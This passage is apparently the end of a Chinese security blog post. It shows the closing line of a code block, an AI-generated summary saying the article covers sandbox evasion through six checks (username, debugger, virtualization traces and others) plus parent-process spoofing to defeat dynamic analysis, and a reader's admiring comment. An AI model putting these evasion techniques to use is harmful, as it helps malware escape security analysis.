return 0;
}本文系统探讨通过检测用户名、调试器、虚拟化痕迹等六维度实现沙箱逃逸,结合父进程伪造绕过动态分析
由 AI 根据全文自动生成,仅供参考,以原文为准
卧槽大佬,受教了